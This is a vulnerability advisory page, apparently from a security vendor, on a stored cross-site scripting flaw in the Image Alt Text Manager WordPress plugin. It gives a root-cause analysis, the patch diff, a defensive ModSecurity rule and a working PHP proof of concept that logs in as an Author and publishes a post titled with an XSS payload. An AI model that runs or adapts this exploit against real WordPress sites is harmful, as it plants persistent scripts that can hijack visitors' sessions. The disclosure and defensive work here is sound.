Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 29, 2026

CVE-2026-3350: Image Alt Text Manager <= 1.8.2 – Authenticated (Author+) Stored Cross-Site Scripting via Post Title (alt-manager)

CVE ID CVE-2026-3350
Plugin alt-manager
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.8.2
Patched Version 1.8.3
Disclosed March 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3350:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Image Alt Text Manager WordPress plugin, versions 1.8.2 and earlier. The plugin fails to properly sanitize user-controlled input when dynamically generating image alt and title attributes, allowing attackers with Author-level permissions or higher to inject malicious scripts that execute in visitors’ browsers. The CVSS score of 6.4 reflects the need for authentication but the potential for persistent impact.

Root Cause:
The vulnerability originates in the plugin’s dynamic alt/title attribute generation functions. The `alm_empty_generator()` function in `/alt-manager/inc/alm-empty-generator.php` (lines 144-148) and the `alm_functions.php` file (lines 31-35) directly use unsanitized values from `get_the_title()` and `get_post_field(‘post_title’)` in the `$options` array. These title values are then passed to `$img->setAttribute()` calls (lines 169-170, 191-211, 225-262, 288-308) without proper output escaping. The `alm_shortcode_handler()` function in the same file (lines 351-355) exhibits the same pattern, using unsanitized values in the `$replacements` array.

Exploitation:
An attacker with Author privileges creates or edits a post with a malicious title containing JavaScript payloads. For example, a title like `` would be stored in the WordPress database. When the plugin processes images on pages displaying that post, it retrieves the unsanitized title via `get_the_title()` and inserts it directly into image alt or title attributes. The plugin’s DOM parser then sets these attributes without escaping, causing script execution when users view the affected page.

Patch Analysis:
The patch in version 1.8.3 adds multiple layers of defense. First, it applies `sanitize_text_field()` to all dynamic values in the `$options` and `$replacements` arrays across three files. Second, it wraps all `$img->setAttribute()` calls with `esc_attr()` output escaping. Third, it replaces `htmlspecialchars_decode()` with `esc_attr()` in the `alm_shortcode_handler()` function (lines 374-375). These changes ensure that user-supplied post titles are sanitized before storage and properly escaped before output in HTML attributes.

Impact:
Successful exploitation allows authenticated attackers to inject arbitrary JavaScript that executes in the context of any user viewing the compromised page. This enables session hijacking, credential theft, administrative actions performed on behalf of victims, content defacement, and redirection to malicious sites. The stored nature means the payload persists across sessions and affects all visitors until removed.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/alt-manager/alt-manager.php
+++ b/alt-manager/alt-manager.php
@@ -10,7 +10,7 @@
  * Plugin Name: Image Alt Text Manager
  * plugin URI: https://wpsaad.com/alt-manager-wordpress-image-alt-text-plugin/
  * Description:Automatically bulk change images alt text to dynamic alt tags values related to content or media and also generate empty values for both alt and title tags.
- * Version: 1.8.2
+ * Version: 1.8.3
  * Author: WPSAAD
  * Author URI: https://wpsaad.com
  * License: GPLv2 or later
--- a/alt-manager/inc/alm-empty-generator.php
+++ b/alt-manager/inc/alm-empty-generator.php
@@ -133,7 +133,7 @@
                 if ( 'wpml-ls-flag' === $img->getAttribute( 'class' ) ) {
                     $next_sibling = $img->next_sibling();
                     if ( !empty( $next_sibling->innertext() ) ) {
-                        $img->setAttribute( 'alt', $next_sibling->innertext() );
+                        $img->setAttribute( 'alt', esc_attr( $next_sibling->innertext() ) );
                     }
                 }
                 // Check if image already has alt/title set by alm-functions.php - skip if already set
@@ -144,11 +144,11 @@
                 if ( !$is_featured && $img->getAttribute( 'class' ) !== 'wpml-ls-flag' && !($has_alt && $has_title) ) {
                     // options
                     $options = [
-                        'Site Name'        => get_bloginfo( 'name' ),
-                        'Site Description' => get_bloginfo( 'description' ),
-                        'Page Title'       => get_the_title( $ID ),
-                        'Post Title'       => get_post_field( 'post_title', $ID ),
-                        'Product Title'    => get_post_field( 'post_title', $ID ),
+                        'Site Name'        => sanitize_text_field( get_bloginfo( 'name' ) ),
+                        'Site Description' => sanitize_text_field( get_bloginfo( 'description' ) ),
+                        'Page Title'       => sanitize_text_field( get_the_title( $ID ) ),
+                        'Post Title'       => sanitize_text_field( get_post_field( 'post_title', $ID ) ),
+                        'Product Title'    => sanitize_text_field( get_post_field( 'post_title', $ID ) ),
                     ];
                     //wp image attachment data
                     if ( wp_attachment_is_image( $attachment_id ) ) {
@@ -169,8 +169,8 @@
                     if ( $logo_checker ) {
                         $alt = $options['Site Name'];
                         $title = $options['Site Name'];
-                        $img->setAttribute( 'alt', $alt );
-                        $img->setAttribute( 'title', $title );
+                        $img->setAttribute( 'alt', esc_attr( $alt ) );
+                        $img->setAttribute( 'title', esc_attr( $title ) );
                     }
                     if ( !$logo_checker ) {
                         //check page type
@@ -191,11 +191,11 @@
                             }
                             //Empty alt option
                             if ( 'enabled' === $generate_empty_alt && empty( $img->getAttribute( 'alt' ) ) ) {
-                                $img->setAttribute( 'alt', $alt );
+                                $img->setAttribute( 'alt', esc_attr( $alt ) );
                             } elseif ( 'enabled' === $generate_empty_alt && !empty( $img->getAttribute( 'alt' ) ) ) {
-                                $img->setAttribute( 'alt', $img->getAttribute( 'alt' ) );
+                                $img->setAttribute( 'alt', esc_attr( $img->getAttribute( 'alt' ) ) );
                             } else {
-                                $img->setAttribute( 'alt', $alt );
+                                $img->setAttribute( 'alt', esc_attr( $alt ) );
                             }
                             //page images title
                             if ( !empty( alm_get_option( 'pages_images_title' ) ) && is_array( alm_get_option( 'pages_images_title' ) ) ) {
@@ -211,11 +211,11 @@
                             }
                             //Empty title option
                             if ( 'enabled' === $generate_empty_title && empty( $img->getAttribute( 'title' ) ) ) {
-                                $img->setAttribute( 'title', $title );
+                                $img->setAttribute( 'title', esc_attr( $title ) );
                             } elseif ( 'enabled' === $generate_empty_title && !empty( $img->getAttribute( 'title' ) ) ) {
-                                $img->setAttribute( 'title', $img->getAttribute( 'title' ) );
+                                $img->setAttribute( 'title', esc_attr( $img->getAttribute( 'title' ) ) );
                             } else {
-                                $img->setAttribute( 'title', $title );
+                                $img->setAttribute( 'title', esc_attr( $title ) );
                             }
                         }
                         //check homepage - use original page ID, not extracted product ID
@@ -225,8 +225,8 @@
                             $alt = '';
                             $title = '';
                             if ( 'page' !== alm_get_option( 'show_on_front' ) && !empty( alm_get_option( 'show_on_front' ) ) ) {
-                                $img->setAttribute( 'alt', $options['Site Name'] );
-                                $img->setAttribute( 'title', $options['Site Name'] );
+                                $img->setAttribute( 'alt', esc_attr( $options['Site Name'] ) );
+                                $img->setAttribute( 'title', esc_attr( $options['Site Name'] ) );
                             } else {
                                 //Homepage images alt
                                 if ( !empty( alm_get_option( 'home_images_alt' ) ) && is_array( alm_get_option( 'home_images_alt' ) ) ) {
@@ -242,11 +242,11 @@
                                 }
                                 //Empty alt option
                                 if ( 'enabled' === $generate_empty_alt && empty( $img->getAttribute( 'alt' ) ) ) {
-                                    $img->setAttribute( 'alt', $alt );
+                                    $img->setAttribute( 'alt', esc_attr( $alt ) );
                                 } elseif ( 'enabled' === $generate_empty_alt && !empty( $img->getAttribute( 'alt' ) ) ) {
-                                    $img->setAttribute( 'alt', $img->getAttribute( 'alt' ) );
+                                    $img->setAttribute( 'alt', esc_attr( $img->getAttribute( 'alt' ) ) );
                                 } else {
-                                    $img->setAttribute( 'alt', $alt );
+                                    $img->setAttribute( 'alt', esc_attr( $alt ) );
                                 }
                                 //Homepage images title
                                 if ( !empty( alm_get_option( 'home_images_title' ) ) && is_array( alm_get_option( 'home_images_title' ) ) ) {
@@ -262,11 +262,11 @@
                                 }
                                 //Empty title option
                                 if ( 'enabled' === $generate_empty_title && empty( $img->getAttribute( 'title' ) ) ) {
-                                    $img->setAttribute( 'title', $title );
+                                    $img->setAttribute( 'title', esc_attr( $title ) );
                                 } elseif ( 'enabled' === $generate_empty_title && !empty( $img->getAttribute( 'title' ) ) ) {
-                                    $img->setAttribute( 'title', $img->getAttribute( 'title' ) );
+                                    $img->setAttribute( 'title', esc_attr( $img->getAttribute( 'title' ) ) );
                                 } else {
-                                    $img->setAttribute( 'title', $title );
+                                    $img->setAttribute( 'title', esc_attr( $title ) );
                                 }
                             }
                         }
@@ -288,11 +288,11 @@
                             }
                             //Empty alt option
                             if ( 'enabled' === $generate_empty_alt && empty( $img->getAttribute( 'alt' ) ) ) {
-                                $img->setAttribute( 'alt', $alt );
+                                $img->setAttribute( 'alt', esc_attr( $alt ) );
                             } elseif ( 'enabled' === $generate_empty_alt && !empty( $img->getAttribute( 'alt' ) ) ) {
-                                $img->setAttribute( 'alt', $img->getAttribute( 'alt' ) );
+                                $img->setAttribute( 'alt', esc_attr( $img->getAttribute( 'alt' ) ) );
                             } else {
-                                $img->setAttribute( 'alt', $alt );
+                                $img->setAttribute( 'alt', esc_attr( $alt ) );
                             }
                             //post images title
                             if ( !empty( alm_get_option( 'post_images_title' ) ) && is_array( alm_get_option( 'post_images_title' ) ) ) {
@@ -308,11 +308,11 @@
                             }
                             //Empty title option
                             if ( 'enabled' === $generate_empty_title && empty( $img->getAttribute( 'title' ) ) ) {
-                                $img->setAttribute( 'title', $title );
+                                $img->setAttribute( 'title', esc_attr( $title ) );
                             } elseif ( 'enabled' === $generate_empty_title && !empty( $img->getAttribute( 'title' ) ) ) {
-                                $img->setAttribute( 'title', $img->getAttribute( 'title' ) );
+                                $img->setAttribute( 'title', esc_attr( $img->getAttribute( 'title' ) ) );
                             } else {
-                                $img->setAttribute( 'title', $title );
+                                $img->setAttribute( 'title', esc_attr( $title ) );
                             }
                         }
                     }
@@ -351,11 +351,11 @@
         return;
     }
     $replacements = [
-        'Site Name'        => get_bloginfo( 'name' ),
-        'Site Description' => get_bloginfo( 'description' ),
-        'Page Title'       => get_the_title( $ID ),
-        'Post Title'       => get_post_field( 'post_title', $ID ),
-        'Product Title'    => get_post_field( 'post_title', $ID ),
+        'Site Name'        => sanitize_text_field( get_bloginfo( 'name' ) ),
+        'Site Description' => sanitize_text_field( get_bloginfo( 'description' ) ),
+        'Page Title'       => sanitize_text_field( get_the_title( $ID ) ),
+        'Post Title'       => sanitize_text_field( get_post_field( 'post_title', $ID ) ),
+        'Product Title'    => sanitize_text_field( get_post_field( 'post_title', $ID ) ),
     ];
     $alt_keys = alm_get_option( "{$context}_images_alt" );
     $title_keys = alm_get_option( "{$context}_images_title" );
@@ -374,8 +374,8 @@
         return;
     }
     // Decode for raw readable characters
-    $alt_output = htmlspecialchars_decode( $alt_final, ENT_QUOTES );
-    $title_output = htmlspecialchars_decode( $title_final, ENT_QUOTES );
+    $alt_output = esc_attr( $alt_final );
+    $title_output = esc_attr( $title_final );
     // Enqueue script properly
     wp_enqueue_script(
         'alm-frontend',
--- a/alt-manager/inc/alm-functions.php
+++ b/alt-manager/inc/alm-functions.php
@@ -31,11 +31,11 @@
         $ID = get_the_ID();
         // options
         $options = [
-            'Site Name'        => get_bloginfo( 'name' ),
-            'Site Description' => get_bloginfo( 'description' ),
-            'Page Title'       => get_the_title( $ID ),
-            'Post Title'       => get_post_field( 'post_title', $ID ),
-            'Product Title'    => get_post_field( 'post_title', $ID ),
+            'Site Name'        => sanitize_text_field( get_bloginfo( 'name' ) ),
+            'Site Description' => sanitize_text_field( get_bloginfo( 'description' ) ),
+            'Page Title'       => sanitize_text_field( get_the_title( $ID ) ),
+            'Post Title'       => sanitize_text_field( get_post_field( 'post_title', $ID ) ),
+            'Product Title'    => sanitize_text_field( get_post_field( 'post_title', $ID ) ),
         ];
         //wp image attachment data
         if ( wp_attachment_is_image( $attachment->ID ) ) {
@@ -64,11 +64,11 @@
             }
             //Empty alt option
             if ( 'enabled' === $generate_empty_alt && empty( $attr['alt'] ) ) {
-                $attr['alt'] = $alt;
+                $attr['alt'] = esc_attr( $alt );
             } elseif ( 'enabled' === $generate_empty_alt && !empty( $attr['alt'] ) ) {
-                $attr['alt'] = $attr['alt'];
+                $attr['alt'] = esc_attr( $attr['alt'] );
             } else {
-                $attr['alt'] = $alt;
+                $attr['alt'] = esc_attr( $alt );
             }
             //Page images title
             if ( !empty( alm_get_option( 'pages_images_title' ) ) && is_array( alm_get_option( 'pages_images_title' ) ) ) {
@@ -84,11 +84,11 @@
             }
             //Empty title option
             if ( 'enabled' === $generate_empty_title && empty( get_the_title( $attachment->ID ) ) ) {
-                $attr['title'] = $title;
+                $attr['title'] = esc_attr( $title );
             } elseif ( 'enabled' === $generate_empty_title && !empty( get_the_title( $attachment->ID ) ) ) {
-                $attr['title'] = get_the_title( $attachment->ID );
+                $attr['title'] = esc_attr( get_the_title( $attachment->ID ) );
             } else {
-                $attr['title'] = $title;
+                $attr['title'] = esc_attr( $title );
             }
         }
         //check homepage
@@ -108,11 +108,11 @@
                 $alt = $options[alm_get_option( 'home_images_alt' )];
             }
             if ( 'enabled' === $generate_empty_alt && empty( $attr['alt'] ) ) {
-                $attr['alt'] = $alt;
+                $attr['alt'] = esc_attr( $alt );
             } elseif ( 'enabled' === $generate_empty_alt && !empty( $attr['alt'] ) ) {
-                $attr['alt'] = $attr['alt'];
+                $attr['alt'] = esc_attr( $attr['alt'] );
             } else {
-                $attr['alt'] = $alt;
+                $attr['alt'] = esc_attr( $alt );
             }
             //Homepage images title
             if ( !empty( alm_get_option( 'home_images_title' ) ) && is_array( alm_get_option( 'home_images_title' ) ) ) {
@@ -128,11 +128,11 @@
             }
             //Empty title option
             if ( 'enabled' === $generate_empty_title && empty( get_the_title( $attachment->ID ) ) ) {
-                $attr['title'] = $title;
+                $attr['title'] = esc_attr( $title );
             } elseif ( 'enabled' === $generate_empty_title && !empty( get_the_title( $attachment->ID ) ) ) {
-                $attr['title'] = get_the_title( $attachment->ID );
+                $attr['title'] = esc_attr( get_the_title( $attachment->ID ) );
             } else {
-                $attr['title'] = $title;
+                $attr['title'] = esc_attr( $title );
             }
         }
         //check post type
@@ -153,11 +153,11 @@
             }
             //Empty alt option
             if ( 'enabled' === $generate_empty_alt && empty( $attr['alt'] ) ) {
-                $attr['alt'] = $alt;
+                $attr['alt'] = esc_attr( $alt );
             } elseif ( 'enabled' === $generate_empty_alt && !empty( $attr['alt'] ) ) {
-                $attr['alt'] = $attr['alt'];
+                $attr['alt'] = esc_attr( $attr['alt'] );
             } else {
-                $attr['alt'] = $alt;
+                $attr['alt'] = esc_attr( $alt );
             }
             //Posts images title
             if ( !empty( alm_get_option( 'post_images_title' ) ) && is_array( alm_get_option( 'post_images_title' ) ) ) {
@@ -173,11 +173,11 @@
             }
             //Empty title option
             if ( 'enabled' === $generate_empty_title && empty( get_the_title( $attachment->ID ) ) ) {
-                $attr['title'] = $title;
+                $attr['title'] = esc_attr( $title );
             } elseif ( 'enabled' === $generate_empty_title && !empty( get_the_title( $attachment->ID ) ) ) {
-                $attr['title'] = get_the_title( $attachment->ID );
+                $attr['title'] = esc_attr( get_the_title( $attachment->ID ) );
             } else {
-                $attr['title'] = $title;
+                $attr['title'] = esc_attr( $title );
             }
         }
         return $attr;

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-3350
SecRule REQUEST_URI "@rx ^/wp-(admin/|json/)" 
  "id:1003350,phase:2,deny,status:403,chain,msg:'CVE-2026-3350: Image Alt Text Manager Stored XSS via Post Title',severity:'CRITICAL',tag:'CVE-2026-3350',tag:'WordPress',tag:'Plugin/Image-Alt-Text-Manager',tag:'Attack/XSS'"
  SecRule REQUEST_METHOD "@rx ^(POST|PUT)$" "chain"
    SecRule ARGS_POST:post_title|ARGS_POST:title "@rx [<>"']" 
      "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3350 - Image Alt Text Manager <= 1.8.2 - Authenticated (Author+) Stored Cross-Site Scripting via Post Title

<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'attacker_author';
$password = 'author_password';

// Malicious post title with XSS payload
$malicious_title = '"><img src=x onerror=alert(document.domain)>';
$post_content = 'This post contains images that will trigger the XSS via the Image Alt Text Manager plugin.';

// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$response = curl_exec($ch);

// Check for successful login by looking for admin dashboard elements
if (strpos($response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Get nonce for new post creation
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';

if (empty($nonce)) {
    die('Could not extract nonce for post creation.');
}

// Create new post with malicious title
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'post_title' => $malicious_title,
    'content' => $post_content,
    'post_type' => 'post',
    'post_status' => 'publish',
    '_wpnonce' => $nonce,
    '_wp_http_referer' => $target_url . '/wp-admin/post-new.php',
    'action' => 'editpost',
    'post_ID' => '',
    'originalaction' => 'editpost',
    'submit' => 'Publish'
]));

$response = curl_exec($ch);

// Extract post ID from response
preg_match('/post=([0-9]+)&action=edit/', $response, $matches);
$post_id = $matches[1] ?? '';

if (!empty($post_id)) {
    echo "Exploit successful! Post created with ID: $post_idn";
    echo "Visit: $target_url/?p=$post_id to trigger the XSS payload.n";
    echo "The Image Alt Text Manager plugin will inject the malicious title into image attributes.n";
} else {
    echo "Post creation may have failed. Check response.n";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School